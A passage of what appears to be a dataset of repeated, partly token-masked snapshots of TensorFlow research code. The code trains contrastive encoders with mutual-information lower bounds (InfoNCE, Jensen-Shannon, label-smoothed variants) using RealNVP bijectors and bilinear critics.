critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\ndef run_all_experiments():\n tf.compat.v1.reset_default_graph()\n wpc_loss = lambda x: -infonce_lower_bound(x)\n cpc_loss = lambda x: -infonce_lower_bound(x)\n drfc_loss = lambda x: -our_lower_bound(x)\n pcc_loss = lambda x: -js_fgan_lower_bound(x)\n skew_pcc_loss = lambda x: -skew_js_fgan_lower_bound(x)\n ls_pcc_loss = lambda x: -label_smooth_pcc(x)\n pre_ls_pcc_loss = lambda x: -predict_smooth_pcc(x)\n adap_pred_smooth_pcc_loss = lambda x: -adap_pred_smooth_pcc(x)\n adap_label_smooth_pcc_loss = lambda x: -adap_label_smooth_pcc(x)\n loss_fcts = {'pcc': pcc_loss, 'cpc': cpc_loss, 'ls_pcc': ls_pcc_loss,\n 'prels_pcc': pre_ls_pcc_loss, 'adap_pred_pcc':\n adap_pred_smooth_pcc_loss, 'adap_label_pcc': adap_label_smooth_pcc_loss\n }\n kwargs = dict(shift_only=True, activation=lambda x: tf.nn.relu(x),\n kernel_initializer=tf.compat.v1.initializers.truncated_normal(\n stddev=0.0001), bias_initializer='zeros')\n nets = {'realnvp': lambda : (RealNVPBijector(DIMS // 2, n_couplings=30,\n hidden_layers=[512, 512], dense_kwargs=kwargs), RealNVPBijector(\n DIMS // 2, n_couplings=30, hidden_layers=[512, 512], dense_kwargs=\n kwargs))}\n critics = {'bilinear': lambda : BilinearCritic(feature_dim=DIMS // 2)}\n return run_sweep(nets, critics, loss_fcts, 'invertible', n_iters=21000,\n n_evals=21)\n\n\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\ndef map_data(x_array, session, codes, data_ph, dims, batch_size=512):\n x_mapped = []\n for i in range(0, x_array.shape[0], batch_size):\n x_mapped.append(session.run(codes, feed_dict={data_ph: x_array[i:i +\n batch_size, :dims]}))\n return np.concatenate(x_mapped, axis=0)\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\n<function token>\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, tf.float32) / 255.0\n image = tf.reshape(image, [-1])\n label = example[FEATURE_LABEL]\n return {FEATURE_INPUT: image, FEATURE_LABEL: label}\n\n\n<function token>\n\n\ndef tfds_to_np(dataset):\n features = list(tfds.as_numpy(dataset))\n images = np.stack([f[FEATURE_INPUT].ravel() for f in features])\n labels = np.stack([f[FEATURE_LABEL].ravel() for f in features])\n return images, labels\n\n\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<function token>\n\n\nclass MLP(tf.keras.Model):\n\n def __init__(self, layer_dimensions, shortcuts, dense_kwargs={}):\n super(MLP, self).__init__()\n self._layers = [tfkl.Dense(dimensions, **dense_kwargs) for\n dimensions in layer_dimensions[:-1]]\n dense_kwargs_copy = copy.deepcopy(dense_kwargs)\n dense_kwargs_copy['activation'] = None\n self._layers.append(tfkl.Dense(layer_dimensions[-1], **\n dense_kwargs_copy))\n self._shortcuts = shortcuts\n\n @property\n def layers(self):\n return self._layers\n\n def __call__(self, inputs):\n x = inputs\n for layer in self.layers:\n x = layer(x) + x if self._shortcuts else layer(x)\n return x\n\n\nclass LayerNorm(tfkl.Layer):\n \"\"\" Layer Normalization in the style of https://arxiv.org/abs/1607.06450 \"\"\"\n\n def __init__(self, scale_initializer='ones', bias_initializer='zeros',\n axes=[1, 2, 3], epsilon=1e-06, **kwargs):\n super(LayerNorm, self).__init__(**kwargs)\n self.epsilon = epsilon\n self.scale_initializer = tf.keras.initializers.get(scale_initializer)\n self.bias_initializer = tf.keras.initializers.get(bias_initializer)\n self.axes = axes\n\n def build(self, input_shape):\n self.scale = self.add_weight(shape=(input_shape[-1],), initializer=\n self.scale_initializer, trainable=True, name='{}_scale'.format(\n self.name))\n self.bias = self.add_weight(shape=(input_shape[-1],), initializer=\n self.bias_initializer, trainable=True, name='{}_bias'.format(\n self.name))\n self.built = True\n\n def call(self, x, mask=None):\n mean = tf.keras.backend.mean(x, axis=self.axes, keepdims=True)\n std = tf.keras.backend.std(x, axis=self.axes, keepdims=True)\n norm = (x - mean) * (1 / (std + self.epsilon))\n return norm * self.scale + self.bias\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\nclass ConvNet(tf.keras.Sequential):\n\n def __init__(self, channels=64, kernel_size=5, input_dim=DIMS // 2,\n output_dim=100, activation=tf.nn.relu):\n super(ConvNet, self).__init__([tfkl.Reshape((14, 28, 1),\n input_shape=(input_dim,)), tfkl.Conv2D(channels, kernel_size,\n strides=2, padding='same', activation=activation), tfkl.Conv2D(\n 2 * channels, kernel_size, strides=2, padding='same',\n activation=activation), LayerNorm(), tfkl.\n GlobalAveragePooling2D(), tfkl.Dense(output_dim)])\n\n\n<import token>\n\n\nclass RealNVP(bijector_lib.Bijector):\n\n def __init__(self, num_masked, shift_and_log_scale_fn=None, bijector_fn\n =None, is_constant_jacobian=False, validate_args=False, name=None):\n name = name or 'real_nvp'\n if num_masked < 0:\n raise ValueError('num_masked must be a non-negative integer.')\n self._num_masked = num_masked\n self._input_depth = None\n if bool(shift_and_log_scale_fn) == bool(bijector_fn):\n raise ValueError(\n 'Exactly one of `shift_and_log_scale_fn` and `bijector_fn` should be specified.'\n )\n if shift_and_log_scale_fn:\n\n def _bijector_fn(x0, input_depth, **condition_kwargs):\n shift, log_scale = shift_and_log_scale_fn(x0, input_depth,\n **condition_kwargs)\n return affine_scalar.AffineScalar(shift=shift, scale=log_scale)\n bijector_fn = _bijector_fn\n if validate_args:\n bijector_fn = _validate_bijector_fn(bijector_fn)\n self._shift_and_log_scale_fn = shift_and_log_scale_fn\n self._bijector_fn = bijector_fn\n super(RealNVP, self).__init__(forward_min_event_ndims=1,\n is_constant_jacobian=is_constant_jacobian, validate_args=\n validate_args, name=name)\n\n def _cache_input_depth(self, x):\n if self._input_depth is None:\n self._input_depth = tf.compat.dimension_value(tensorshape_util.\n with_rank_at_least(x.shape, 1)[-1])\n if self._input_depth is None:\n raise NotImplementedError(\n 'Rightmost dimension must be known prior to graph execution.'\n )\n if self._num_masked >= self._input_depth:\n raise ValueError(\n 'Number of masked units must be smaller than the event size.'\n )\n\n def _forward(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n y1 = self._bijector_fn(x0, self._input_depth - self._num_masked, **\n condition_kwargs).forward(x1)\n y = tf.concat([x0, y1], axis=-1)\n return y\n\n def _inverse(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n x1 = self._bijector_fn(y0, self._input_depth - self._num_masked, **\n condition_kwargs).inverse(y1)\n x = tf.concat([y0, x1], axis=-1)\n return x\n\n def _forward_log_det_jacobian(self, x, **condition_kwargs):\n self._cache_input_depth(x)\n x0, x1 = x[..., :self._num_masked], x[..., self._num_masked:]\n return self._bijector_fn(x0, self._input_depth - self._num_masked,\n **condition_kwargs).forward_log_det_jacobian(x1, event_ndims=1)\n\n def _inverse_log_det_jacobian(self, y, **condition_kwargs):\n self._cache_input_depth(y)\n y0, y1 = y[..., :self._num_masked], y[..., self._num_masked:]\n return self._bijector_fn(y0, self._input_depth - self._num_masked,\n **condition_kwargs).inverse_log_det_jacobian(y1, event_ndims=1)\n\n\ndef real_nvp_default_template(hidden_layers, shift_only=False, activation=\n tf.nn.relu, name=None, *args, **kwargs):\n with tf.compat.v1.name_scope(name or 'real_nvp_default_template'):\n\n def _fn(x, output_units, **condition_kwargs):\n \"\"\"Fully connected MLP parameterized via `real_nvp_template`.\"\"\"\n if condition_kwargs:\n raise NotImplementedError(\n 'Conditioning not implemented in the default template.')\n if tensorshape_util.rank(x.shape) == 1:\n x = x[tf.newaxis, ...]\n reshape_output = lambda x: x[0]\n else:\n reshape_output = lambda x: x\n for units in hidden_layers:\n x = tf1.layers.dense(*args, inputs=x, units=units,\n activation=activation, **kwargs)\n x = tf1.layers.dense(*args, inputs=x, units=(1 if shift_only else\n 2) * output_units, activation=None, **kwargs)\n if shift_only:\n return reshape_output(x), None\n shift, log_scale = tf.split(x, 2, axis=-1)\n return reshape_output(shift), 1e-07 + tf.nn.softplus(reshape_output\n (log_scale))\n return tf1.make_template('real_nvp_default_template', _fn)\n\n\nclass RealNVPBijector(tf.keras.Model):\n\n def __init__(self, dimensions, n_couplings, hidden_layers, dense_kwargs):\n super(RealNVPBijector, self).__init__()\n permutations = [np.random.permutation(dimensions) for _ in range(\n n_couplings)]\n bijectors = []\n for permutation in permutations:\n bijectors.append(RealNVP(dimensions // 2,\n real_nvp_default_template(hidden_layers, **dense_kwargs)))\n bijectors.append(tfb.Permute(permutation))\n self._bijector = tfb.Chain(bijectors)\n\n def call(self, inputs):\n return self._bijector.forward(inputs)\n\n\nclass InnerProdCritic(tf.keras.Model):\n\n def call(self, x, y):\n return tf.matmul(x, y, transpose_b=True)\n\n\nclass BilinearCritic(tf.keras.Model):\n\n def __init__(self, feature_dim=100, **kwargs):\n super(BilinearCritic, self).__init__(**kwargs)\n self._W = tfkl.Dense(feature_dim, use_bias=False)\n\n def call(self, x, y):\n return tf.matmul(x, self._W(y), transpose_b=True)\n\n\nclass ConcatCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=200, layers=1, activation='relu', **kwargs):\n super(ConcatCritic, self).__init__(**kwargs)\n self._f = MLP([hidden_dim for _ in range(layers)] + [1], False, {\n 'activation': 'relu'})\n\n def call(self, x, y):\n batch_size = tf.shape(input=x)[0]\n x_tiled = tf.tile(x[None, :], (batch_size, 1, 1))\n y_tiled = tf.tile(y[:, None], (1, batch_size, 1))\n xy_pairs = tf.reshape(tf.concat((x_tiled, y_tiled), axis=2), [\n batch_size * batch_size, -1])\n scores = self._f(xy_pairs)\n return tf.transpose(a=tf.reshape(scores, [batch_size, batch_size]))\n\n\nclass SeparableCritic(tf.keras.Model):\n\n def __init__(self, hidden_dim=100, output_dim=100, layers=1, activation\n ='relu', **kwargs):\n super(SeparableCritic, self).__init__(**kwargs)\n self._f_x = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n self._f_y = MLP([hidden_dim for _ in range(layers)] + [output_dim],\n False, {'activation': activation})\n\n def call(self, x, y):\n x_mapped = self._f_x(x)\n y_mapped = self._f_y(y)\n return tf.matmul(x_mapped, y_mapped, transpose_b=True)\n\n\ndef train(g1, g2, critic, loss_fn, learning_rate, batch_size=\n TRAIN_BATCH_SIZE, n_iters=15000, n_evals=15, compute_jacobian=False,\n noise_std=0.0, data_dimensions=DIMS // 2, n_iter=1, loss_name='InfoNCE'):\n \"\"\"Runs the training loop for a fixed model.\n\n Args:\n g1: Function, maps input1 to representation.\n g2: Function, maps input2 to representation.\n critic: Function, maps two representations to scalar.\n loss_fn: Function, mutual information estimator.\n learning_rate: Learning rate.\n batch_size: Training batch size.\n n_iters: Number of optimization iterations.\n n_evals: Number of model evaluations.\n compute_jacobian: Whether to estimate the singular values of the Jacobian.\n noise_std: Standard deviation for the Gaussian noise. Default is 0.0.\n data_dimensions: The dimension of the data. By default it's half of the\n original data dimension.\n Returns:\n Returns and instance of `Results` tuple.\n \"\"\"\n x_1, x_2, _ = processed_train_data(data_dimensions, batch_size)\n if noise_std > 0.0:\n assert x_1.shape == x_2.shape, 'X1 and X2 shapes must agree to add noise!'\n noise = noise_std * tf.random.normal(x_1.shape)\n x_1 += noise\n x_2 += noise\n code_1, code_2 = g1(x_1), g2(x_2)\n critic_matrix = critic(code_1, code_2)\n if compute_jacobian:\n jacobian = gradients.batch_jacobian(code_1, x_1, use_pfor=False)\n singular_values = tf.linalg.svd(jacobian, compute_uv=False)\n loss = loss_fn(critic_matrix)\n optimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=learning_rate)\n if not loss_name == 'wpc':\n optimizer_op = optimizer.minimize(loss)\n else:\n gvs = optimizer.compute_gradients(loss)\n capped_gvs = [(tf.clip_by_value(grad, -1.0, 1.0), var) for grad,\n var in gvs]\n optimizer_op = optimizer.apply_gradients(capped_gvs)\n with tf.compat.v1.Session() as session:\n session.run(tf.compat.v1.global_variables_initializer())\n data_ph = tf.compat.v1.placeholder(tf.float32, shape=[None,\n data_dimensions])\n data_ph_noisy = data_ph + noise_std * tf.random.normal(tf.shape(\n input=data_ph))\n codes = g1(data_ph_noisy)\n (training_losses, testing_losses, classification_accuracies, iters,\n sigmas) = [], [], [], [], []\n for iter_n in range(n_iters):\n if iter_n % (n_iters // n_evals) == 0:\n iters.append(iter_n)\n accuracy = get_classification_accuracy(session, codes,\n data_ph, data_dimensions)\n classification_accuracies.append(accuracy)\n testing_losses.append(get_testing_loss(x_test, session,\n loss, data_ph, data_dimensions))\n if compute_jacobian:\n sigmas.append(session.run(singular_values))\n print(\n '{:d}th iter Loss_name {} Step {:>10d} fit {:>.5f} DS {} B {:d} lr {:f}'\n .format(n_iter, loss_name, iter_n, accuracy, args.\n dataset, args.batch_size, args.lr))\n loss_np, _ = session.run([loss, optimizer_op])\n training_losses.append(loss_np)\n return Results(iterations=iters, training_losses=training_losses,\n testing_losses=testing_losses, classification_accuracies=\n classification_accuracies, singular_values=sigmas)\n\n\ndef run_sweep(nets, critics, loss_fns, exp_name, **kwargs):\n \"\"\"Runs the sweep across encoder networks, critics, and the estimators.\"\"\"\n grid = itertools.product(nets, critics, loss_fns)\n data_frames = []\n results_with_singular_values = []\n for nets_name, critic_name, loss_name in grid:\n print('[New experiment] encoder: {}, critic: {}, loss: {}'.format(\n nets_name, critic_name, loss_name))\n with tf.Graph().as_default():\n g1, g2 = nets[nets_name]()\n critic = critics[critic_name]()\n loss_fn = loss_fns[loss_name]\n results_per_run = []\n for n in range(NRUNS):\n try:\n print('{:d}th run, loss: {}'.format(n, loss_name))\n if loss_name == 'drfc' and TFDS_NAME == 'cifar10':\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n else:\n results = train(g1, g2, critic, loss_fn, **kwargs,\n learning_rate=LEARNING_RATE, n_iter=n,\n loss_name=loss_name)\n results_per_run.append(results)\n except Exception as ex:\n print('Run {} failed! Error: {}'.format(n, ex))\n for i, result in enumerate(results_per_run):\n data_frames.append(convert_to_data_frame(result, exp_name,\n nets_name, critic_name, loss_name, i))\n if kwargs.get('compute_jacobian', False):\n results_with_singular_values.append((ResultsConfig(\n nets_name, critic_name, loss_name), results_per_run))\n return {'df': pd.concat(data_frames), 'singular_values':\n results_with_singular_values}\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n<assignment token>\n\n\ndef acti_func(x, a, b, c):\n x = tf.stop_gradient(x)\n alpha = tf.zeros_like(x)\n alpha = tf.where(x <= b, -a * x / b + a, alpha)\n alpha = tf.where((x > b) & (x < c), 0.0, alpha)\n alpha = tf.where(x >= c, a * x / (1 - c) + a * c / (c - 1), alpha)\n return alpha\n\n\ndef convert_to_data_frame(result, exp_name, nets, critic, loss, seed):\n \"\"\"Convert results class to a data frame.\"\"\"\n label = '{}, {}, {}'.format(nets, critic, loss)\n rows = list(zip(itertools.repeat(exp_name), itertools.repeat(nets),\n itertools.repeat(critic), itertools.repeat(loss), itertools.repeat(\n seed), result.iterations, [(-loss) for loss in result.\n testing_losses], result.classification_accuracies, itertools.repeat\n (label)))\n df_eval = pd.DataFrame(rows, columns=('exp_name', 'nets', 'Critic',\n 'Estimator', 'run', 'iteration', 'bound_value', 'accuracy', 'label'))\n df_eval['Estimator'] = df_eval['Estimator'].replace(to_replace={'cpc':\n '$CPC$', 'pcc': '$PCC$', 'drfc': '$D-RFC$', 'wpc': '$WPC$'})\n df_eval['Critic'] = df_eval['Critic'].replace(to_replace={'concat':\n 'MLP', 'separable': 'Separable', 'innerprod': 'Inner product',\n 'bilinear': 'Bilinear'})\n return df_eval\n\n\ndef apply_default_style(ax):\n ax.set_xlim([0, 20001])\n ax.get_xaxis().set_major_formatter(FuncFormatter(lambda x, p: format(\n int(x / 1000), ',')))\n ax.set_xlabel('Training steps (in thousands)')\n plt.tick_params(top=False, right=False, bottom=False, left=False)\n handles, labels = ax.get_legend_handles_labels()\n plt.legend(loc='lower right', handles=handles[1:], labels=labels[1:])\n\n\ndef get_testing_loss(x_array, session, loss, data_ph, dims, batch_size=512):\n total_loss = 0\n for i in range(0, x_array.shape[0], batch_size):\n x_slice = x_array[i:i + batch_size, :dims]\n total_loss += x_slice.shape[0] * session.run(loss, feed_dict={\n data_ph: x_slice})\n return total_loss / x_array.shape[0]\n\n\ndef get_classification_accuracy(session, codes, data_ph, dims):\n x_train_mapped = map_data(x_train, session, codes, data_ph, dims)\n x_test_mapped = map_data(x_test, session, codes, data_ph, dims)\n accuracy = logistic_fit(x_train_mapped, y_train, x_test_mapped, y_test)\n return accuracy\n\n\n<function token>\n\n\ndef reduce_logmeanexp_nodiag(x, axis=None):\n batch_size = x.shape[0]\n logsumexp = tf.reduce_logsumexp(input_tensor=x - tf.linalg.tensor_diag(\n np.inf * tf.ones(batch_size)), axis=axis)\n if axis:\n num_elem = batch_size - 1.0\n else:\n num_elem = batch_size * (batch_size - 1.0)\n return logsumexp - tf.math.log(num_elem)\n\n\ndef tuba_lower_bound(scores, log_baseline=None):\n if log_baseline is not None:\n scores -= log_baseline[:, None]\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n marg_term = tf.exp(reduce_logmeanexp_nodiag(scores))\n return 1.0 + joint_term - marg_term\n\n\n<function token>\n\n\[email protected]\ndef js_fgan_lower_bound(f):\n \"\"\"Lower bound on Jensen-Shannon divergence from Nowozin et al. (2016).\"\"\"\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n n = tf.cast(f.shape[0], tf.float32)\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return first_term - second_term\n\n\[email protected]\ndef infonce_lower_bound(scores):\n \"\"\"InfoNCE lower bound from van den Oord et al. (2018).\"\"\"\n nll = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores) - tf.\n reduce_logsumexp(input_tensor=scores, axis=1))\n mi = tf.math.log(tf.cast(scores.shape[0], tf.float32)) + nll\n return mi\n\n\[email protected]\ndef our_lower_bound(scores):\n \"\"\"Our lower bound\"\"\"\n batch_size = tf.cast(scores.shape[0], tf.float32)\n joint_term = tf.reduce_mean(input_tensor=tf.linalg.diag_part(scores))\n scores_sq = scores ** 2\n marg_num = batch_size * (batch_size - 1.0)\n marg_term = tf.reduce_sum(input_tensor=scores_sq) - tf.reduce_sum(\n input_tensor=tf.linalg.diag_part(scores_sq))\n marg_term = marg_term / marg_num\n return joint_term - 0.5 * marg_term\n\n\[email protected]\ndef skew_js_fgan_lower_bound(f):\n \"\"\"skewed js lower bound (true cross entropy)\"\"\"\n n = tf.cast(f.shape[0], tf.float32)\n alpha = 1 / n\n f_diag = tf.linalg.tensor_diag_part(f)\n first_term = tf.reduce_mean(-tf.nn.softplus(-f_diag))\n second_term = (tf.reduce_sum(tf.nn.softplus(f)) - tf.reduce_sum(tf.nn.\n softplus(f_diag))) / (n * (n - 1.0))\n return alpha * first_term - (1 - alpha) * second_term\n\n\[email protected]\ndef label_smooth_pcc(f):\n \"\"\" pcc with label smoothing trick\"\"\"\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n labels = (1.0 - args.smoothing) * labels + args.smoothing / 2\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(labels, pre_prob)\n\n\n<function token>\n\n\[email protected]\ndef adap_label_smooth_pcc(f):\n n = f.shape[0]\n labels = tf.eye(n)\n labels = tf.reshape(labels, [-1, 1])\n pre_prob = tf.reshape(tf.sigmoid(f), [-1, 1])\n alpha = acti_func(pre_prob, a, b, c)\n new_labels = (1.0 - alpha) * labels + alpha / 2\n bce = tf.keras.losses.BinaryCrossentropy()\n return -bce(new_labels, pre_prob)\n\n\n<function token>\n\n\ndef logistic_fit(x_train, y_train, x_test, y_test):\n logistic_regressor = sk_linear.LogisticRegression(solver='saga',\n multi_class='multinomial', tol=0.1, C=10.0)\n from sklearn.preprocessing import MinMaxScaler\n scaler = MinMaxScaler()\n x_train = scaler.fit_transform(x_train)\n x_test = scaler.transform(x_test)\n logistic_regressor.fit(x_train, y_train.ravel())\n return logistic_regressor.score(x_test, y_test.ravel())\n\n\n<code token>\n\n\ndef map_fn(example):\n image = example[FEATURE_INPUT]\n image = tf.cast(image, 